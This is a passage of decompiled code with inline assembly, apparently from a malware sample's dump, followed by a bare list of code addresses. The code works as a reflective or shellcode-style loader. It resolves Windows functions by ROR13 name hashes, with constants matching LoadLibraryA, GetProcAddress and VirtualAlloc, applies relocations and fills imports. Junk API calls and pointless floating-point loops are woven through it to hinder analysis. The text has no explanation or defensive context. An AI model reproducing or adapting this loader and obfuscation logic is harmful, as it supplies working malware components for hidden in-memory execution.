																	asm("movsd xmm0, [ebp-0x50]");
																	_t580 =  *_t626 + _t766;
																	_t397 =  *(_t580 + 4);
																	_t757 = _t580 + 4;
																	_v36 = _t580;
																	_v48 = _t757;
																	asm("movsd [ebp-0x10], xmm0");
																	__eflags = _t397;
																	if(_t397 == 0) {
																		L256:
																		_t575 = _v28;
																		goto L257;
																	} else {
																		asm("movaps xmm1, xmm0");
																		asm("movsd [ebp-0x10], xmm1");
																		while(1) {
																			__eflags = _t718 - _v28;
																			if(__eflags == 0) {
																				asm("movsd xmm0, [0x6e936660]");
																				asm("comisd xmm0, xmm1");
																				if(__eflags > 0) {
																					_t397 = L6E927F60(E6E8F5F20(1), _t425);
																					asm("movsd xmm1, [0x6e9364f0]");
																					asm("divsd xmm1, xmm0");
																					_t626 = _v32;
																					asm("addsd xmm1, [0x6e9364f0]");
																					asm("movsd [ebp-0x10], xmm1");
																				}
																				asm("movsd xmm0, [0x6e936678]");
																				asm("comisd xmm0, xmm1");
																				if(__eflags > 0) {
																					_t397 = GetCursor();
																					asm("movsd xmm1, [0x6e936590]");
																					_t626 = _v32;
																					asm("movsd [ebp-0x10], xmm1");
																				}
																				_t718 = _v72;
																			} else {
																				_t281 = _t397 - 8; // -8
																				_t734 =  *_t580 + _v44;
																				_t718 = _t580 + 8;
																				_v56 = _t734;
																				_t626 = _t281 >> 1;
																				_v72 = _t718;
																			}
																			__eflags = _t626;
																			if(_t626 == 0) {
																				goto L246;
																			}
																			_t575 = _v24 + 4;
																			__eflags = _t575;
																			do {
																				_t639 = _t626 - 1;
																				_v32 = _t626 - 1;
																				__eflags = _t575 - _v28;
																				if(_t575 <= _v28) {
																					asm("ucomisd xmm1, [0x6e936500]");
																					asm("lahf");
																					__eflags = _t397 & 0x00000044;
																					if(__eflags != 0) {
																						goto L295;
																					} else {
																						asm("comisd xmm1, [0x6e936520]");
																						if(__eflags < 0) {
																							asm("movsd xmm0, [0x6e936550]");
																							_t415 = E6E8F5BB0(_t397, _t575, _t639, _t718, _t734, _t757);
																							asm("cvttsd2si eax, xmm0");
																							_push(0);
																							_push(0x3a24);
																							asm("cdq");
																							_push(_t718);
																							_push(_t415);
																						} else {
																							_t423 = E6E8F5ED0(0x7a);
																							asm("cdq");
																							_push(_t718);
																							_push(_t423);
																							_push(0);
																							_push(1);
																						}
																						_t640 = E6E9278D0();
																						_t397 = L6E927F60(_t417, _t417);
																						asm("movaps xmm1, xmm0");
																						_t734 = 0x69;
																						asm("comisd xmm1, [0x6e936518]");
																						asm("movsd [ebp-0x10], xmm1");
																						if(__eflags >= 0) {
																							_t307 = _t734 - 0x5e; // 0xb
																							_t773 = _t307;
																							do {
																								asm("movd xmm0, edi");
																								asm("cvtdq2pd xmm0, xmm0");
																								_t420 = E6E8F5BB0(_t397, _t575, _t640, _t718, 0x69, _t773);
																								asm("cvttsd2si edi, xmm0");
																								asm("movd xmm0, esi");
																								asm("cvtdq2pd xmm0, xmm0");
																								_t421 = E6E8F5BB0(_t420, _t575, _t640, _t718, 0x69, _t773);
																								asm("cvttsd2si eax, xmm0");
																								_t773 = _t421;
																								_t397 = 0x69 - _t421;
																								__eflags = 0x69;
																								asm("movd xmm1, eax");
																								asm("cvtdq2pd xmm1, xmm1");
																								asm("comisd xmm1, [0x6e936518]");
																								asm("movsd [ebp-0x10], xmm1");
																							} while (0x69 >= 0);
																						}
																						asm("movsd xmm0, [0x6e9365a0]");
																						asm("comisd xmm0, xmm1");
																						if(__eflags > 0) {
																							goto L293;
																						} else {
																							asm("comisd xmm1, [0x6e936668]");
																							if(__eflags > 0) {
																								goto L294;
																							} else {
																								asm("movsd xmm0, [0x6e936558]");
																								asm("comisd xmm0, xmm1");
																								if(__eflags > 0) {
																									goto L292;
																								} else {
																									_t734 = _v56;
																									_t718 = _v72;
																									goto L244;
																								}
																							}
																						}
																					}
																				} else {
																					_t642 =  *_t718 & 0x0000ffff;
																					_t397 = _t642 >> 0xc;
																					__eflags = _t397 - 0xa;
																					if(_t397 != 0xa) {
																						__eflags = _t397 - 3;
																						if(_t397 != 3) {
																							__eflags = _t397 - 1;
																							if(_t397 != 1) {
																								__eflags = _t397 - 2;
																								if(_t397 == 2) {
																									_t397 = _v52;
																									goto L231;
																								}
																							} else {
																								_t397 = _v52 >> 0x10;
																								L231:
																								_t643 = _t642 & 0x00000fff;
																								_t302 = _t643 + _t734;
																								 *_t302 =  *(_t643 + _t734) + _t397;
																								__eflags =  *_t302;
																							}
																							_t718 = _t718 + 2;
																							_v72 = _t718;
																						} else {
																							_t397 = _v52;
																							 *((intOrPtr*)((_t642 & 0x00000fff) + _t734)) =  *((intOrPtr*)((_t642 & 0x00000fff) + _t734)) + _t397;
																							_t718 = _t718 + 2;
																							_v72 = _t718;
																						}
																					} else {
																						_t397 = _v52;
																						 *((intOrPtr*)((_t642 & 0x00000fff) + _t734)) =  *((intOrPtr*)((_t642 & 0x00000fff) + _t734)) + _t397;
																						_t718 = _t718 + 2;
																						_v72 = _t718;
																					}
																					goto L244;
																				}
																				goto L303;
																				L244:
																				_t626 = _v32;
																				__eflags = _t626;
																			} while (_t626 != 0);
																			_t580 = _v36;
																			_t757 = _v48;
																			L246:
																			_t718 = _v24;
																			_t626 = _t626 - 1;
																			_v32 = _t626;
																			__eflags = _t718 - _v28;
																			if(_t718 < _v28) {
																				_t409 = 0;
																				_t581 = 0x63;
																				_t720 = 0x27;
																				_t632 = 0;
																				__eflags = 0;
																				do {
																					_t739 = E6E9274E0(_t581, _t409, _t720, _t632);
																					_t581 = E6E8F5F20(_t581);
																					_v80 = _t720;
																					asm("cdq");
																					_v48 = _t739 + _t581;
																					asm("sbb esi, ecx");
																					_t734 = _t739 - _t581 + _v48;
																					__eflags = _t739 - _t581 + _v48;
																					_v96 = _t720;
																					asm("adc esi, eax");
																					L6E927F60(_t720, _t739 - _t581 + _v48);
																					_t409 = _v80;
																					asm("movaps xmm1, xmm0");
																					asm("comisd xmm1, [0x6e936580]");
																					_t632 = _v96;
																					_t720 = _v48;
																					asm("movsd [ebp-0x10], xmm1");
																				} while (__eflags >= 0);
																				asm("movsd xmm3, [0x6e9366d8]");
																				asm("comisd xmm3, xmm1");
																				asm("movsd xmm0, [0x6e936548]");
																				if(__eflags >= 0) {
																					asm("movsd xmm2, [0x6e936620]");
																					do {
																						asm("mulsd xmm0, xmm2");
																						asm("subsd xmm2, xmm0");
																						asm("movaps xmm1, xmm0");
																						asm("cvttsd2si eax, xmm2");
																						asm("movd xmm2, eax");
																						asm("cvtdq2pd xmm2, xmm2");
																						asm("divsd xmm1, xmm2");
																						asm("comisd xmm3, xmm1");
																						asm("movsd [ebp-0x10], xmm1");
																					} while (__eflags >= 0);
																				}
																				_t718 = _v24;
																				_t626 = _v32;
																				_t580 = _v36;
																			} else {
																				_t580 = _t580 +  *_t757;
																				_v36 = _t580;
																			}
																			_t397 =  *(_t580 + 4);
																			_t757 = _t580 + 4;
																			_v48 = _t757;
																			__eflags = _t397;
																			if(_t397 == 0) {
																				goto L256;
																			} else {
																				_t734 = _v56;
																				continue;
																			}
																			goto L303;
																		}
																	}
																}
															} else {
																while(1) {
																	__eflags =  *_t718;
																	if( *_t718 == 0) {
																		goto L205;
																	}
																	asm("cdq");
																	__eflags = _v24 - _t718 >> 1 - _t575;
																	if(__eflags < 0) {
																		asm("movsd xmm0, [0x6e936538]");
																		asm("comisd xmm0, xmm2");
																		if(__eflags > 0) {
																			__imp__CoUninitialize();
																		}
																		asm("movsd xmm0, [0x6e936690]");
																		_t774 = 0x63;
																		_t742 = 0;
																		asm("movsd [ebp-0x10], xmm0");
																		_v88 = 0;
																		_t210 = _t774 + 0x15; // 0x78
																		_t583 = _t210;
																		asm("o16 nop [eax+eax]");
																		do {
																			SwitchToThread();
																			_t774 = E6E9274E0(_t583, _v88, _t774, _t742);
																			_t742 = _t718;
																			_t431 = L6E927F60(_t430, _t430);
																			asm("divsd xmm0, [ebp-0x10]");
																			_t583 = L6E927E50(_t431, _t583, _t430, _t718);
																			_v88 = _t718;
																			_t434 = L6E927F60(_t718, _t432);
																			asm("subsd xmm0, [ebp-0x10]");
																			asm("sbb edx, [ebp-0x54]");
																			asm("movsd [ebp-0x10], xmm0");
																			_t435 = L6E927F60(_t434, _t430 - _t432);
																			asm("addsd xmm0, [ebp-0x10]");
																			asm("ucomisd xmm0, [0x6e936578]");
																			asm("lahf");
																			__eflags = _t435 & 0x00000044;
																		} while ((_t435 & 0x00000044) != 0);
																		_t653 = E6E8F5F20(1);
																		_t437 = L6E927F60(_t436, _t436);
																		asm("mulsd xmm0, xmm0");
																		asm("addsd xmm0, [0x6e9364f0]");
																		asm("comisd xmm0, [0x6e936560]");
																		if(__eflags >= 0) {
																			L163:
																			asm("movsd xmm0, [0x6e9365f8]");
																			_t397 = E6E8F5BB0(_t437, _t583, _t653, _t718, _t742, _t774);
																			asm("movaps xmm2, xmm0");
																			asm("xorps xmm0, xmm0");
																			asm("mulsd xmm2, [0x6e936680]");
																			asm("addsd xmm2, xmm0");
																		} else {
																			_t653 = E6E8F5F20(0x33);
																			_t437 = L6E927F60(_t466, _t466);
																			asm("movsd xmm1, [0x6e9364f0]");
																			asm("subsd xmm1, xmm0");
																			asm("movsd xmm0, [0x6e936568]");
																			asm("comisd xmm0, xmm1");
																			if(__eflags > 0) {
																				goto L163;
																			} else {
																				_t467 = E6E8F5ED0(0xd9);
																				asm("movd xmm0, eax");
																				asm("cvtdq2pd xmm0, xmm0");
																				asm("movsd [ebp-0x10], xmm0");
																				asm("movsd xmm0, [0x6e936718]");
																				_t470 = L6E927E50(E6E8F5BB0(_t467, _t583, 0xd9, _t718, _t742, _t774), _t583, 0xd9, _t718);
																				asm("movsd xmm0, [ebp-0x10]");
																				asm("mulsd xmm0, [0x6e936718]");
																				asm("movsd [ebp-0x10], xmm0");
																				_t397 = L6E927F60(_t470, _t470);
																				asm("movsd xmm2, [ebp-0x10]");
																				asm("mulsd xmm2, xmm0");
																			}
																		}
																		asm("movsd xmm0, [0x6e936578]");
																		asm("comisd xmm0, xmm2");
																		asm("movsd [ebp-0x10], xmm2");
																		if(__eflags > 0) {
																			goto L291;
																		} else {
																			_t734 = _v56;
																			_t575 = _v28;
																			_t654 = _v72;
																			goto L166;
																		}
																	} else {
																		_t397 = _v92(_v44 + _t625);
																		_t654 =  *_t757 + _v44;
																		_t734 =  *((intOrPtr*)(_t757 + 0x10)) + _v44;
																		asm("movsd xmm2, [ebp-0x10]");
																		_v52 = _t397;
																		_v72 = _t654;
																		_v56 = _t734;
																		L166:
																		__eflags =  *_t734;
																		if( *_t734 != 0) {
																			do {
																				__eflags = _t654;
																				if(_t654 == 0) {
																					L173:
																					_t718 = _v24;
																					_t757 = _t718;
																					__eflags = _t718 - _t575;
																					if(__eflags <= 0) {
																						goto L170;
																					} else {
																						_t448 = _t718 + _t718;
																						_v80 = _t448;
																						while(1) {
																							__eflags = _t448 - _t575;
																							if(__eflags >= 0) {
																								break;
																							}
																							asm("comisd xmm2, [0x6e9364f0]");
																							if(__eflags >= 0) {
																								GetCapture();
																							}
																							asm("movsd xmm1, [0x6e936508]");
																							_t665 = 0xd;
																							_t724 = 0x53;
																							asm("o16 nop [eax+eax]");
																							do {
																								_t458 = _t724 - _t665;
																								_t665 = _t458;
																								_t724 = _t458 - _t724;
																								_t460 = _t724 + _t665;
																								asm("movd xmm0, eax");
																								asm("cvtdq2pd xmm0, xmm0");
																								asm("ucomisd xmm0, xmm1");
																								asm("lahf");
																								__eflags = _t724 + _t665 & 0x00000044;
																							} while (__eflags != 0);
																							asm("movss xmm1, [0x6e936760]");
																							asm("movss [ebp-0x48], xmm1");
																							asm("movsd xmm1, [0x6e936538]");
																							asm("comisd xmm1, xmm0");
																							if(__eflags > 0) {
																								asm("o16 nop [eax+eax]");
																								do {
																									GetKBCodePage();
																									asm("cvttss2si ecx, [ebp-0x48]");
																									_t665 = E6E8F5F20(_t665);
																									_t460 = L6E927F60(_t464, _t464);
																									asm("movss xmm1, [0x6e93673c]");
																									asm("cvtsd2ss xmm0, xmm0");
																									asm("comiss xmm1, xmm0");
																									asm("movss [ebp-0x48], xmm0");
																								} while (__eflags > 0);
																							}
																							asm("movsd xmm0, [0x6e9366b8]");
																							_t586 = 0x74;
																							_v16 = 0;
																							do {
																								E6E8F5BB0(_t460, _t586, _t665, _t724, _t734, _t757);
																								asm("movsd [ebp-0x10], xmm0");
																								_t462 = E6E8F5F20(_t586);
																								_t586 = _t462;
																								_t665 = _t462;
																								_t460 = L6E927F60(_t462, _t462);
																								asm("movsd xmm2, [ebp-0x10]");
																								asm("subsd xmm2, xmm0");
																								asm("comisd xmm2, [0x6e936568]");
																								asm("movsd [ebp-0x10], xmm2");
																							} while (__eflags > 0);
																							_t575 = _v28;
																							_t757 = _t757 + 1;
																							_t448 = _v80;
																							__eflags = _t757 - _t575;
																							if(_t757 > _t575) {
																								continue;
																							} else {
																								goto L171;
																							}
																							goto L192;
																						}
																						_t450 =  *_t734 + _v44;
																						_v32 = _t450;
																						_t397 = _v12(_v52, _t450 + 2);
																						 *_t734 = _t397;
																						goto L171;
																					}
																				} else {
																					_t654 =  *_t654;
																					__eflags = _t654;
																					if(_t654 >= 0) {
																						goto L173;
																					} else {
																						_t757 = _v52;
																						_t723 = _v24;
																						__eflags = _t723 - _t575;
																						_t718 =  ==  ? _t575 : _t723;
																						_v24 = _t718;
																						_t453 =  *((intOrPtr*)( *((intOrPtr*)(_t757 + 0x3c)) + _t757 + 0x78));
																						_t397 =  *((intOrPtr*)( *((intOrPtr*)(_t453 + _t757 + 0x1c)) + _t654 * 4 + _t757)) + _t757;
																						__eflags = _t718 - _t575;
																						 *_t734 = _t397;
																						L170:
																						if(__eflags < 0) {
																							asm("movsd xmm1, [0x6e936608]");
																							_t777 = 0x63;
																							asm("movsd [ebp-0x60], xmm1");
																							do {
																								__imp__GetUserDefaultUILanguage();
																								asm("movsd xmm3, [ebp-0x60]");
																								asm("movd xmm1, esi");
																								asm("movaps xmm2, xmm3");
																								asm("cvtdq2pd xmm1, xmm1");
																								asm("divsd xmm2, xmm1");
																								asm("movaps xmm1, xmm3");
																								asm("cvtpd2ps xmm0, xmm2");
																								asm("addsd xmm1, xmm3");
																								asm("movss [ebp-0x4c], xmm0");
																								asm("movaps xmm0, xmm3");
																								asm("cvttsd2si ebx, xmm1");
																								_t397 = E6E8F5BB0(_t397, _t575, _t654, _t718, _t734, _t777);
																								_t777 = _t575;
																								asm("movaps xmm1, xmm0");
																								asm("movd xmm0, esi");
																								asm("cvtdq2ps xmm0, xmm0");
																								asm("movsd [ebp-0x60], xmm1");
																								asm("mulss xmm0, [ebp-0x4c]");
																								asm("cvtps2pd xmm2, xmm0");
																								asm("mulsd xmm2, xmm1");
																								asm("ucomisd xmm2, [0x6e9365a8]");
																								asm("movsd [ebp-0x10], xmm2");
																								asm("lahf");
																								__eflags = _t397 & 0x00000044;
																							} while ((_t397 & 0x00000044) != 0);
																							_t654 = _v72;
																						} else {
																							L171:
																							_t654 = _v72;
																							_t734 = _t734 + 4;
																							asm("movsd xmm2, [ebp-0x10]");
																							__eflags = _t654;
																							if(_t654 != 0) {
																								_t654 = _t654 + 4;
																								_v72 = _t654;
																							}
																						}
																					}
																				}
																				__eflags =  *_t734;
																				_t575 = _v28;
																			} while ( *_t734 != 0);
																			L192:
																			_v56 = _t734;
																		}
																		__eflags = _v24 - _t575;
																		if(_v24 < _t575) {
																			asm("ucomisd xmm2, [0x6e936550]");
																			asm("lahf");
																			__eflags = _t397 & 0x00000044;
																			if(__eflags == 0) {
																				asm("movsd xmm0, [0x6e936658]");
																				L6E927F60(L6E927E50(E6E8F5BB0(_t397, _t575, _t654, _t718, _t734, _t757), _t575, _t654, _t718), _t445);
																				asm("movsd [ebp-0x10], xmm0");
																				_t397 = L6E927F60(E6E8F5F20(0x5a), _t447);
																				asm("movsd xmm1, [0x6e936668]");
																				asm("movaps xmm2, xmm0");
																				asm("divsd xmm1, [ebp-0x10]");
																				asm("mulsd xmm2, [ebp-0x10]");
																				asm("subsd xmm2, xmm1");
																				asm("movsd [ebp-0x10], xmm2");
																			}
																			asm("comisd xmm2, [0x6e936650]");
																			if(__eflags > 0) {
																				goto L290;
																			} else {
																				asm("movsd xmm0, [0x6e936670]");
																				_t775 = 0;
																				__eflags = 0;
																				asm("comisd xmm0, xmm2");
																				_t584 = 0xa;
																				_v48 = 0xf;
																				if(0 >= 0) {
																					do {
																						AreFileApisANSI();
																						_t775 = (_t775 << 0x00000020 | _t584) << 1;
																						_t584 = _t584 + _t584;
																						_t659 = _v48 * _t584;
																						asm("cdq");
																						_v48 = _t659;
																						__eflags = _t584 - _t659;
																						asm("sbb eax, edx");
																						_t397 = L6E927F60(_t775, _t584 - _t659);
																						asm("movaps xmm2, xmm0");
																						asm("movsd xmm0, [0x6e936670]");
																						asm("comisd xmm0, xmm2");
																						asm("movsd [ebp-0x10], xmm2");
																					} while (__eflags >= 0);
																				}
																				asm("comisd xmm2, [0x6e936688]");
																				_t585 = 0x27;
																				while(__eflags > 0) {
																					GetUserDefaultLangID();
																					_t439 = E6E8F5ED0(_t585);
																					_t585 = _t439;
																					_t397 = _t439;
																					asm("movd xmm2, eax");
																					asm("cvtdq2pd xmm2, xmm2");
																					asm("comisd xmm2, [0x6e936688]");
																					asm("movsd [ebp-0x10], xmm2");
																				}
																				_t757 = _v36;
																				_t575 = _v28;
																				goto L204;
																			}
																		} else {
																			_t757 = _v36 + 0x14;
																			_v36 = _t757;
																			L204:
																			_t625 =  *(_t757 + 0xc);
																			_t718 = _v32;
																			__eflags = _t625;
																			if(_t625 != 0) {
																				continue;
																			} else {
																				goto L205;
																			}
																		}
																	}
																	goto L303;
																}
																goto L205;
															}
														}
													} else {
														asm("movsd xmm1, [ebp-0x10]");
														asm("comisd xmm1, [0x6e9364f0]");
														if(__eflags >= 0) {
															_t484 = E6E8F5F20(0x57);
															_t734 = _t484;
															_t757 = _t718;
															_t486 = L6E927F60(E6E8F5F20(0x18), _t485);
															asm("cvtsd2ss xmm0, xmm0");
															_t718 = _t757;
															_t618 = _t484;
															asm("cvtss2sd xmm0, xmm0");
															asm("movsd [ebp-0x3c], xmm0");
															asm("divsd xmm0, [0x6e936638]");
															asm("movsd [ebp-0x10], xmm0");
															L6E927F60(_t486, _t484);
															asm("movaps xmm1, xmm0");
															asm("movsd xmm0, [ebp-0x3c]");
															asm("mulsd xmm0, [ebp-0x10]");
															asm("subsd xmm1, xmm0");
														}
														asm("comisd xmm1, [0x6e9364f8]");
														if(__eflags >= 0) {
															_t734 = GetCursor;
															while(1) {
																_t479 = GetCursor();
																asm("movd xmm0, esi");
																asm("cvtdq2pd xmm0, xmm0");
																_t480 = E6E8F5BB0(_t479, _t575, _t618, _t718, _t734, 0x31);
																asm("cvttsd2si eax, xmm0");
																_t757 = _t480;
																asm("cdq");
																_t482 = _t757 + 1;
																__eflags = _t482;
																_t618 = _t482;
																asm("adc edx, 0x0");
																L6E927F60(_t482, _t482);
																asm("comisd xmm0, [0x6e9364f8]");
																if(__eflags < 0) {
																	goto L288;
																}
															}
														}
														goto L288;
													}
												} else {
													_t734 = GetMessageTime;
													asm("movsd xmm0, [ebp-0x10]");
													while(1) {
														asm("movsd xmm1, [0x6e9365c8]");
														asm("comisd xmm1, xmm0");
														if(__eflags > 0) {
															goto L103;
														}
														asm("movsd xmm1, [0x6e9366f8]");
														asm("comisd xmm1, xmm0");
														if(__eflags >= 0) {
															goto L103;
														} else {
															GetForegroundWindow();
															_t496 = L6E927F60(E6E8F5F20(0x3f), _t503);
															asm("cvtsd2ss xmm0, xmm0");
															asm("xorps xmm1, xmm1");
															asm("mulss xmm0, xmm1");
															asm("addss xmm0, xmm1");
															asm("cvtss2sd xmm0, xmm0");
														}
														L104:
														asm("ucomisd xmm0, [0x6e936708]");
														asm("lahf");
														__eflags = _t496 & 0x00000044;
														if((_t496 & 0x00000044) == 0) {
															GetClipboardViewer();
															_t590 = 0x4c;
															_t782 = 0x6d;
															do {
																GetMessageTime();
																_t499 = E6E8F5ED0(_t590);
																_t782 = _t782 * _t782;
																_t590 = _t499;
																__eflags = _t499 + _t782;
																asm("movd xmm0, eax");
																asm("cvtdq2pd xmm0, xmm0");
																asm("comisd xmm0, [0x6e9365b8]");
															} while (__eflags >= 0);
															continue;
														}
														goto L287;
														L103:
														DestroyCaret();
														_t496 = E6E8F5ED0(0x3f);
														asm("movd xmm0, eax");
														asm("cvtdq2ps xmm0, xmm0");
														asm("mulss xmm0, [0x6e936790]");
														asm("cvtps2pd xmm0, xmm0");
														goto L104;
													}
												}
											} else {
												goto L78;
											}
										}
									}
								} else {
									_t575 = 3;
									asm("movsd xmm0, [ebp-0x10]");
									_v88 = 3;
									_t728 =  *((intOrPtr*)(_v36 + 0x10));
									_v44 = _t728;
									_t691 =  *((intOrPtr*)( *((intOrPtr*)(_t728 + 0x3c)) + _t728 + 0x78)) + _t728;
									asm("cdq");
									_v96 = _t691;
									_v48 = _v24 - _t728 >> 1;
									_t509 = _v44;
									_t747 =  *((intOrPtr*)(_t691 + 0x20)) + _t509;
									_t757 =  *((intOrPtr*)(_t691 + 0x24)) + _t509;
									__eflags = _t757;
									_v40 = _t747;
									_v56 = _t757;
									do {
										asm("movaps xmm1, xmm0");
										_t693 =  *_t747 + _t509;
										_t729 = 0;
										__eflags = 0;
										_t510 =  *_t693;
										do {
											asm("ror edx, 0xd");
											_t693 = _t693 + 1;
											_t729 = _t729 + _t510;
											_t510 =  *_t693;
											__eflags = _t510;
										} while (_t510 != 0);
										__eflags = _t729 - 0xec0e4e8e;
										if(_t729 == 0xec0e4e8e) {
											L56:
											_t512 = _v28;
											__eflags = _v48 - _t512;
											if(_v48 < _t512) {
												_t734 = 0;
												_t757 = 0x50;
												asm("ucomisd xmm1, [0x6e9365d8]");
												asm("lahf");
												__eflags = _t512 & 0x00000044;
												if(__eflags == 0) {
													_t591 = 0x1900;
													_v76 = 0;
													do {
														__imp__CoFreeUnusedLibraries();
														_t513 = E6E9274E0(_t757, _t734, _t757, _t734);
														_t734 = _t729;
														_t757 = _t513;
														_t514 = E6E9274E0(_t757, _t729, _t591, _v76);
														_t591 = _t514;
														_t604 = _t514;
														_v76 = _t729;
														_t516 = L6E927F60(_t729, _t514);
														asm("movaps xmm1, xmm0");
														asm("ucomisd xmm1, [0x6e9365d8]");
														asm("lahf");
														__eflags = _t516 & 0x00000044;
													} while (__eflags != 0);
												}
												asm("movsd xmm3, [0x6e9366a8]");
												asm("comisd xmm3, xmm1");
												asm("movsd xmm2, [0x6e936588]");
												if(__eflags >= 0) {
													asm("o16 nop [eax+eax]");
													while(1) {
														asm("movaps xmm1, xmm2");
														asm("addsd xmm2, xmm1");
														asm("comisd xmm3, xmm2");
														if(__eflags < 0) {
															goto L286;
														}
													}
												}
												goto L286;
											} else {
												asm("movaps xmm0, xmm1");
												asm("movsd [ebp-0x10], xmm0");
												_t519 =  *((intOrPtr*)(_v96 + 0x1c)) + ( *_t757 & 0x0000ffff) * 4;
												_t695 = _v44;
												__eflags = _t729 - 0xec0e4e8e;
												if(_t729 != 0xec0e4e8e) {
													__eflags = _t729 - 0x7c0dfcaa;
													if(_t729 != 0x7c0dfcaa) {
														__eflags = _t729 - 0x91afca54;
														if(_t729 == 0x91afca54) {
															asm("movaps xmm0, xmm1");
															_t526 =  *((intOrPtr*)(_t519 + _t695)) + _t695;
															__eflags = _t526;
															asm("movsd [ebp-0x10], xmm1");
															_v76 = _t526;
														}
													} else {
														_v12 =  *((intOrPtr*)(_t519 + _t695)) + _t695;
													}
												} else {
													_v92 =  *((intOrPtr*)(_t519 + _t695)) + _t695;
												}
												_t592 = _t575 + 0xffff;
												__eflags = _t592;
												_v88 = _t592;
												goto L64;
											}
										} else {
											__eflags = _t729 - 0x7c0dfcaa;
											if(_t729 == 0x7c0dfcaa) {
												goto L56;
											} else {
												asm("movaps xmm0, xmm1");
												asm("movsd [ebp-0x10], xmm0");
												__eflags = _t729 - 0x91afca54;
												if(_t729 != 0x91afca54) {
													L64:
													_t520 = _v24;
													_t593 = _t520;
													_t696 = _v28;
													__eflags = _t520 - _t696;
													if(_t520 > _t696) {
														_t521 = _t520 + _t520;
														__eflags = _t521;
														_v80 = _t521;
														while(1) {
															__eflags = _t521 - _t696;
															if(_t521 >= _t696) {
																break;
															}
															asm("ucomisd xmm0, [0x6e9365e0]");
															_t785 = 0x15;
															_t103 = _t785 + 7; // 0x1c
															_t749 = _t103;
															asm("lahf");
															__eflags = _t521 & 0x00000044;
															if((_t521 & 0x00000044) == 0) {
																asm("o16 nop [eax+eax]");
																do {
																	GetLastError();
																	_t785 = _t785 + _t749;
																	_t523 = _t785;
																	_t749 = 0;
																	asm("cdq");
																	_t524 = _t523 / 0;
																	_t718 = _t523 % 0;
																	asm("movd xmm0, eax");
																	asm("cvtdq2pd xmm0, xmm0");
																	asm("ucomisd xmm0, [0x6e9365e0]");
																	asm("movsd [ebp-0x10], xmm0");
																	asm("lahf");
																	__eflags = _t524 & 0x00000044;
																} while ((_t524 & 0x00000044) != 0);
																_t696 = _v28;
															}
															_t521 = _v80;
															_t593 = _t593 + 1;
															__eflags = _t593 - _t696;
															if(_t593 > _t696) {
																continue;
															} else {
																_t757 = _v56;
																_t747 = _v40;
															}
															goto L74;
														}
														_t747 = _v40 + 4;
														_t757 = _v56 + 2;
														__eflags = _t757;
														_v40 = _t747;
														_v56 = _t757;
													}
													goto L74;
												} else {
													goto L56;
												}
											}
										}
										goto L303;
										L74:
										_t575 = _v88;
										_t509 = _v44;
										__eflags = _t575;
									} while (_t575 != 0);
									goto L75;
								}
								goto L303;
							}
						}
						goto L303;
						L9:
						_t755 = _t755 - 1;
						_v52 = _t755;
					}
				}
				L303:
			}

0x6e8f6100
0x6e8f6109
0x6e8f610e
0x6e8f6110
0x6e8f6113
0x6e8f6117
0x6e8f6119
0x6e8f6120
0x6e8f6121
0x6e8f6125
0x6e8f612c
0x6e8f6130
0x6e8f6134
0x6e8f6137
0x6e8f613c
0x6e8f6160
0x6e8f6165
0x6e8f6145
0x6e8f6145
0x6e8f6151
0x6e8f6154
0x6e8f6159
0x6e8f615b
0x6e8f615b
0x6e8f6168
0x6e8f616d
0x6e8f6181
0x6e8f6189
0x6e8f618e
0x6e8f6192
0x6e8f6196
0x6e8f6196
0x6e8f6199
0x6e8f619c
0x6e8f61a1
0x6e8f61ab
0x6e8f61b2
0x6e8f61b9
0x6e8f61c0
0x6e8f61c3
0x6e8f61c8
0x6e8f61cd
0x6e8f61d0
0x6e8f61d5
0x6e8f61da
0x6e8f61e2
0x6e8f61ea
0x6e8f61ed
0x6e8f61f0
0x6e8f61f8
0x6e8f61fa
0x6e8f6202
0x6e8f6209
0x6e8f626d
0x6e8f6272
0x6e8f6272
0x6e8f6274
0x6e8f6278
0x6e8f627d
0x6e8f6280
0x6e8f6280
0x6e8f6284
0x6e8f6284
0x6e8f6286
0x6e8f628a
0x6e8f628f
0x6e8f628f
0x6e8f6280
0x6e8f6299
0x6e8f62a1
0x6e8f62a3
0x6e8f62b2
0x6e8f62b7
0x6e8f62bb
0x6e8f62bb
0x6e8f62bf
0x6e8f62c7
0x6e8f62cc
0x6e8f62cc
0x6e8f62ce
0x6e8f62d3
0x6e8f62db
0x6e8f62db
0x6e8f62de
0x6e8f62e0
0x6e8f62e3
0x6e8f62ec
0x6e8f62f0
0x6e8f62f5
0x6e8f62fa
0x6e8f62fc
0x6e8f6302
0x6e8f6304
0x6e8f6309
0x6e8f630e
0x6e8f6312
0x6e8f6316
0x6e8f631b
0x6e8f631e
0x6e8f6322
0x6e8f6325
0x6e8f6325
0x6e8f62e0
0x6e8f632f
0x6e8f6337
0x6e8f6338
0x6e8f633b
0x6e8f637a
0x6e8f6387
0x6e8f638c
0x6e8f6391
0x6e8f6395
0x6e8f6398
0x6e8f639c
0x6e8f63a4
0x6e8f63a7
0x6e8f63ab
0x6e8f633d
0x6e8f633d
0x6e8f6345
0x6e8f634a
0x6e8f6352
0x6e8f6355
0x6e8f6358
0x6e8f635c
0x6e8f635f
0x6e8f6360
0x6e8f6364
0x6e8f6368
0x6e8f6368
0x6e8f636a
0x6e8f636e
0x6e8f6371
0x6e8f6375
0x6e8f6375
0x6e8f63ae
0x6e8f63b6
0x6e8f63bb
0x6e8f63bc
0x6e8f63bf
0x00000000
0x6e8f63c5
0x6e8f63c5
0x6e8f63cd
0x6e8f63d2
0x6e8f63d6
0x6e8f6400
0x6e8f63d8
0x6e8f63d8
0x6e8f63d8
0x6e8f63db
0x6e8f63df
0x6e8f63e2
0x6e8f63e6
0x6e8f63ea
0x6e8f63ee
0x6e8f63ee
0x6e8f63f8
0x6e8f63f8
0x00000000
0x6e8f63d6
0x6e8f620b
0x6e8f6210
0x6e8f6210
0x6e8f6218
0x6e8f621d
0x6e8f6222
0x6e8f6225
0x6e8f622a
0x6e8f622f
0x6e8f6237
0x6e8f623f
0x6e8f6247
0x00000000
0x00000000
0x6e8f6249
0x6e8f624c
0x6e8f6254
0x00000000
0x00000000
0x6e8f6256
0x6e8f6258
0x6e8f6261
0x00000000
0x00000000
0x6e8f6405
0x6e8f640a
0x6e8f6410
0x6e8f6413
0x6e8f6416
0x6e8f6419
0x6e8f641c
0x6e8f641e
0x6e8f6a74
0x6e8f6a74
0x6e8f6a77
0x00000000
0x00000000
0x6e8f6424
0x6e8f642c
0x6e8f642f
0x6e8f6431
0x6e8f6437
0x6e8f6439
0x6e8f643f
0x6e8f6449
0x6e8f644e
0x6e8f6451
0x6e8f6453
0x6e8f6456
0x00000000
0x00000000
0x6e8f645c
0x6e8f6461
0x6e8f6464
0x6e8f6467
